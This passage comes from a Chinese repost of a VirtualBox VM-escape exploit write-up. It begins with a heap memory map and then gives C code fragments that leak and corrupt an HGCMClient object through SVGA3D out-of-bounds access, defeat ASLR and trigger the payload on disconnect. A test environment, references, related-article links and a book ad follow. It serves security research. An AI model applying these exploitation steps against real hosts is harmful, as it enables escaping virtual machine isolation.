00007ff0fb400000-00007ff0fb500000 [ 1024K 184K 184K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff12b400000-00007ff12b500000 [ 1024K 936K 936K 4K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff139000000-00007ff139800000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff139800000-00007ff13b000000 [ 24.0M 23.6M 23.6M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff13b400000-00007ff13b500000 [ 1024K 1016K 1016K 8K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16b400000-00007ff16b800000 [ 4096K 2464K 2464K 1632K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 6592K 6592K 1828K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16c06e000-00007ff16d000000 [ 15.6M 14.0M 14.0M 1440K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16d000000-00007ff16d800000 [ 8192K 5608K 5608K 2312K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16d800000-00007ff16da00000 [ 2048K 864K 864K 1184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 24K 24K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 940K 940K 84K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 988K 988K 36K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY 00007ff170400000-00007ff170500000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff170500000-00007ff170800000 [ 3072K 3072K 3072K 0K] rw-/rwx SM=COW DefaultMallocZone_0x10
定位并重写HGCMClient对象
一旦堆喷射完成,将会从SVGA3D_MAX_SURFACE_IDS – 1开始,越界读取与表面相关的泄露内存。如果找到任何HGCMClient,就会停止搜索,否则将会继续。
/*泄露内存*/
for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
rv = find_hgcm_client(memory, 0x1000, &details);
if (rv == 0) {
surface_id = i;
break;
}
}
在找到客户端对象后,我们通过泄露其“pSelf”指针来了解对象的位置。对象的vtable是一个指向VBoxC.dylib的指针。上述二者都不会受到ASLR机制的影响。随后,我们使用搜索期间找到的表面ID,对其进行越界写入,从而破坏对象。
access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);
Finally, use HGCM disconnect to use the corrupted HGCMClient as below:
warnx("[+] Triggering payload...");
disconnect_client(details.key);
环境
·Guest环境:Ubuntu Server 16.04.5 64位,启用单个vCPU和VMSVGA。
· Host环境:macOS High Sierra 10.13.6。 请注意,macOS Mojave不支持较旧版本的VirtualBox。
· VirtualBox:5.1.22 r115126版本
参考文献
[1] VMware托管I/O架构上的GPU虚拟化
https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf
[2] VMware SVGA设备接口和编程模型
https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt
[3] CLOUDBURST – Vmware Guest到Host逃逸的故事
https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf
[4] 通过硬件仿真攻击虚拟机管理程序
https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf
[5] VBoxManage
https://www.virtualbox.org/manual/ch08.html
[6] Oracle重要补丁更新公告 – 2015年1月
https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html
[7] Oracle重要补丁更新公告 – 2017年7月
https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
[8] Oracle重要补丁更新公告 – 2017年10月
https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
[9] Heapple Pie – macOS/iOS中的默认堆
https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf
[10] OS X堆漏洞利用
https://github.com/blankwall/MacHeap
[11] 思考在VirtualBox之外
https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- CVE-2019-5736 runc容器逃逸漏洞分析
- 利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)
- 容器逃逸成真:从 CTF 解题到 CVE-2019-5736 漏洞挖掘分析
- VirtualBox虚拟机最新逃逸漏洞E1000 0 day详细分析(上)
- VirtualBox虚拟机最新逃逸漏洞E1000 0day详细分析(下)
- 打破Docker:runC容器逃逸漏洞的深入分析及多种利用方法(CVE-2019-5736)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Game Programming Patterns
Robert Nystrom / Genever Benning / 2014-11-2 / USD 39.95
The biggest challenge facing many game programmers is completing their game. Most game projects fizzle out, overwhelmed by the complexity of their own code. Game Programming Patterns tackles that exac......一起来看看 《Game Programming Patterns》 这本书的介绍吧!